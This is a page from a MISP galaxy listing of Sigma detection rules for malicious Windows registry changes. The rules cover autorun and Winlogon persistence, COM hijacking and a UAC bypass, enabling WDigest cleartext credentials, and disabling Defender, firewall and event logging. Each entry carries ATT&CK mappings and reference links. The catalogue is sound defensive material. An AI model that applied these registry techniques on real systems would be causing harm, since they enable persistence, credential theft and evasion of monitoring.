The tag is: `misp-galaxy:sigma-rules=“Session Manager Autorun Keys Modification”`

View relationships graph

Session Manager Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"` with estimative-language:likelihood-probability="almost-certain"

Table 8707. Table References

Add Debugger Entry To Hangs Key For Persistence

Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes

The tag is: `misp-galaxy:sigma-rules=“Add Debugger Entry To Hangs Key For Persistence”`

Table 8708. Table References
Potential PowerShell Execution Policy Tampering

Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution

The tag is: `misp-galaxy:sigma-rules="Potential PowerShell Execution Policy Tampering"`

Table 8709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml</a></td>
</tr>
</tbody>
</table>

COM Hijack via Sdclt

Detects changes to ‘HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute’

The tag is: `misp-galaxy:sigma-rules="COM Hijack via Sdclt"`

View relationships graph

COM Hijack via Sdclt has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"

Table 8710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/47696">https://www.exploit-db.com/exploits/47696</a></td>
</tr>
<tr>
<td><a href="http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass">http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml</a></td>
</tr>
</tbody>
</table>

Winlogon Notify Key Logon Persistence

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.

The tag is: `misp-galaxy:sigma-rules="Winlogon Notify Key Logon Persistence"`

View relationships graph
Winlogon Notify Key Logon Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8711. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd9cd37d2f365f8eb29/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml

**Blackbyte Ransomware Registry**

BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption

The tag is: misp-galaxy: sigma-rules="Blackbyte Ransomware Registry"

<table>
<thead>
<tr>
<th>Table 8712. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

- https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social

**CobaltStrike Service Installations in Registry**

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. We can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml) In some SIEM you can catch those events also in HKLM\System\ControlSet001\Services or HKLM\System\ControlSet002\Services, however, this rule is based on a regular sysmon's events.

The tag is: misp-galaxy: sigma-rules="CobaltStrike Service Installations in Registry"
CobaltStrike Service Installations in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Running Chrome VPN Extensions via the Registry 2 VPN Extension

Running Chrome VPN Extensions via the Registry install 2 vpn extension

The tag is: misp-galaxy:sigma-rules="Running Chrome VPN Extensions via the Registry 2 VPN Extension"

Potential Persistence Via Visual Studio Tools for Office

Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Visual Studio Tools for Office"
Potential Persistence Via Visual Studio Tools for Office has relationships with:


Table 8715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://vanmieghem.io/stealth-outlook-persistence/">https://vanmieghem.io/stealth-outlook-persistence/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_vivami/status/1347925307643355138">https://twitter.com/_vivami/status/1347925307643355138</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml</a></td>
</tr>
</tbody>
</table>

**Wow6432Node CurrentVersion Autorun Keys Modification**

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="Wow6432Node CurrentVersion Autorun Keys Modification"

View relationships graph

Wow6432Node CurrentVersion Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 8716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Keyboard Layout Load**

Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only

The tag is: misp-galaxy:sigma-rules="Suspicious Keyboard Layout Load"
Suspicious Keyboard Layout Load has relationships with:


Table 8717. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index">https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index</a></td>
</tr>
</tbody>
</table>

**Disable Tamper Protection on Windows Defender**

Detects disabling Windows Defender Tamper Protection

The tag is: `misp-galaxy:sigma-rules="Disable Tamper Protection on Windows Defender"`

Disable Tamper Protection on Windows Defender has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Wdigest Enable UseLogonCredential**

Detects potential malicious modification of the property value of UseLogonCredential from HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials

The tag is: `misp-galaxy:sigma-rules="Wdigest Enable UseLogonCredential"`

Wdigest Enable UseLogonCredential has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html">https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3-modify-registry-to-store-logon-credentials">https://github.com/redcanaryco/atomic-red-team/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3-modify-registry-to-store-logon-credentials</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml</a></td>
</tr>
</tbody>
</table>

Change the Fax Dll

Detect possible persistence using Fax DLL load when service restart

The tag is: misp-galaxy:sigma-rules="Change the Fax Dll"

View relationships graph

Change the Fax Dll has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/dottor_morte/status/1544652325570191361">https://twitter.com/dottor_morte/status/1544652325570191361</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml</a></td>
</tr>
</tbody>
</table>

ETW Logging Disabled For SCM

Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)

The tag is: misp-galaxy:sigma-rules="ETW Logging Disabled For SCM"

View relationships graph

ETW Logging Disabled For SCM has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 8721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml</a></td>
</tr>
</tbody>
</table>

### Disable PUA Protection on Windows Defender

Detects disabling Windows Defender PUA protection

The tag is: misp-galaxy:sigma-rules="Disable PUA Protection on Windows Defender"

View relationships graph

Disable PUA Protection on Windows Defender has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml</a></td>
</tr>
</tbody>
</table>

### Persistence Via New SIP Provider

Detects when an attacker register a new SIP provider for persistence and defense evasion

The tag is: misp-galaxy:sigma-rules="Persistence Via New SIP Provider"

View relationships graph

Persistence Via New SIP Provider has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"
**Classes Autorun Keys Modification**

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Classes Autorun Keys Modification"*

**View relationships graph**

Classes Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

**Table 8724. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml</a></td>
</tr>
</tbody>
</table>

**Potentially Suspicious ODBC Driver Registered**

Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious ODBC Driver Registered"*

**View relationships graph**

Potentially Suspicious ODBC Driver Registered has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

**Table 8725. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Disable Microsoft Defender Firewall via Registry

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage

The tag is: `misp-galaxy:sigma-rules="Disable Microsoft Defender Firewall via Registry"

View relationships graph

Disable Microsoft Defender Firewall via Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

### Table 8726. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6f3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2--disable-microsoft-defender-firewall-via-registry">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6f3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2--disable-microsoft-defender-firewall-via-registry</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_defender_firewall.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_defender_firewall.yml</a></td>
</tr>
</tbody>
</table>

Potential Registry Persistence Attempt Via DbgManagedDebugger

Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes

The tag is: `misp-galaxy:sigma-rules="Potential Registry Persistence Attempt Via DbgManagedDebugger"

View relationships graph

Potential Registry Persistence Attempt Via DbgManagedDebugger has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574"` with estimative-language:likelihood-probability="almost-certain"

### Table 8727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/">https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/</a></td>
</tr>
<tr>
<td><a href="https://github.com/last-byte/PersistenceSniper">https://github.com/last-byte/PersistenceSniper</a></td>
</tr>
</tbody>
</table>
Uncommon Microsoft Office Trusted Location Added

Detects changes to registry keys related to “Trusted Location” of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.

The tag is: misp-galaxy:sigma-rules="Uncommon Microsoft Office Trusted Location Added"

View relationships graph

Uncommon Microsoft Office Trusted Location Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trusted_location_uncommon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trusted_location_uncommon.yml</a></td>
</tr>
</tbody>
</table>

Disable Privacy Settings Experience in Registry

Detects registry modifications that disable Privacy Settings Experience

The tag is: misp-galaxy:sigma-rules="Disable Privacy Settings Experience in Registry"

View relationships graph

Disable Privacy Settings Experience in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8729. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml</a></td>
</tr>
</tbody>
</table>
Usage of Renamed Sysinternals Tools - RegistrySet

Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution

The tag is: `misp-galaxy:sigma-rules="Usage of Renamed Sysinternals Tools - RegistrySet"`

View relationships graph

Usage of Renamed Sysinternals Tools - RegistrySet has relationships with:


<table>
<thead>
<tr>
<th>Table 8730. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml</a></td>
</tr>
</tbody>
</table>

COM Hijacking via TreatAs

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

The tag is: `misp-galaxy:sigma-rules="COM Hijacking via TreatAs"`

View relationships graph

COM Hijacking via TreatAs has relationships with:


<table>
<thead>
<tr>
<th>Table 8731. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf883949805636735a1fd15/atomics/T1546.015/T1546.015.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf883949805636735a1fd15/atomics/T1546.015/T1546.015.md</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=3gz1QmiMhss&amp;t=1251s">https://www.youtube.com/watch?v=3gz1QmiMhss&amp;t=1251s</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treat_as_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treat_as_persistence.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Script Execution Policy Enabled

Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.
The tag is: `misp-galaxy:sigma-rules="PowerShell Script Execution Policy Enabled"`

**Table 8732. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell</a> Enablescripts_enabled.yml</td>
</tr>
</tbody>
</table>

**New File Association Using Exefile**

Detects the abuse of the exefile handler in new file association. Used for bypass of security products.

The tag is: `misp-galaxy:sigma-rules="New File Association Using Exefile"`

**Table 8733. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1461041276514623491">https://twitter.com/mrd0x/status/1461041276514623491</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml</a></td>
</tr>
</tbody>
</table>

**Disable Windows Event Logging Via Registry**

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel.

The tag is: `misp-galaxy:sigma-rules="Disable Windows Event Logging Via Registry"`

View relationships graph

Disable Windows Event Logging Via Registry has relationships with:


**Table 8734. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DebugPrivilege/CPP/blob/c39d365617dbf4bcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp">https://github.com/DebugPrivilege/CPP/blob/c39d365617dbf4bcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/WhichbufferArda/status/1543900539280293889">https://twitter.com/WhichbufferArda/status/1543900539280293889</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml</a></td>
</tr>
</tbody>
</table>
New BgInfo.EXE Custom VBScript Registry Configuration

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"

The tag is: misp-galaxy:sigma-rules="New BgInfo.EXE Custom VBScript Registry Configuration"

View relationships graph

New BgInfo.EXE Custom VBScript Registry Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_vbscript.yml">Internal Research</a></td>
</tr>
</tbody>
</table>

Registry Persistence via Service in Safe Mode

Detects the modification of the registry to allow a driver or service to persist in Safe Mode.

The tag is: misp-galaxy:sigma-rules="Registry Persistence via Service in Safe Mode"

View relationships graph

Registry Persistence via Service in Safe Mode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 8736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml">Windows add registry value to load service in safe mode with network</a></td>
</tr>
</tbody>
</table>
Scheduled TaskCache Change by Uncommon Program

Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious

The tag is: misp-galaxy:sigma-rules="Scheduled TaskCache Change by Uncommon Program"

View relationships graph

Scheduled TaskCache Change by Uncommon Program has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 8737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.f-secure.com/blog/scheduled-task-tampering/">https://labs.f-secure.com/blog/scheduled-task-tampering/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/">https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml</a></td>
</tr>
</tbody>
</table>

Macro Enabled In A Potentially Suspicious Document

Detects registry changes to Office trust records where the path is located in a potentially suspicious location

The tag is: misp-galaxy:sigma-rules="Macro Enabled In A Potentially Suspicious Document"

View relationships graph

Macro Enabled In A Potentially Suspicious Document has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/inversecos/status/1494174785621819397">https://twitter.com/inversecos/status/1494174785621819397</a></td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trust_record_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trust_record_susp_location.yml</a></td>
</tr>
</tbody>
</table>
Suspicous Powershell In Registry Run Keys

Detects potential PowerShell commands or code within registry run keys

The tag is: `misp-galaxy:sigma-rules="Suspicious Powershell In Registry Run Keys"`

View relationships graph

Suspicous Powershell In Registry Run Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry">https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml</a></td>
</tr>
</tbody>
</table>

Registry Persistence via Explorer Run Key

Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder

The tag is: `misp-galaxy:sigma-rules="Registry Persistence via Explorer Run Key"`

View relationships graph

Registry Persistence via Explorer Run Key has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential Persistence Via GlobalFlags

Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via GlobalFlags"

View relationships graph

Potential Persistence Via GlobalFlags has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

Table 8741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/">https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml</a></td>
</tr>
</tbody>
</table>

Persistence Via Disk Cleanup Handler - Autorun

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

The tag is: `misp-galaxy:sigma-rules="Persistence Via Disk Cleanup Handler - Autorun"

Table 8742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/diskcleanuphandler.html">https://persistence-info.github.io/Data/diskcleanuphandler.html</a></td>
</tr>
<tr>
<td><a href="https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/">https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/</a></td>
</tr>
<tr>
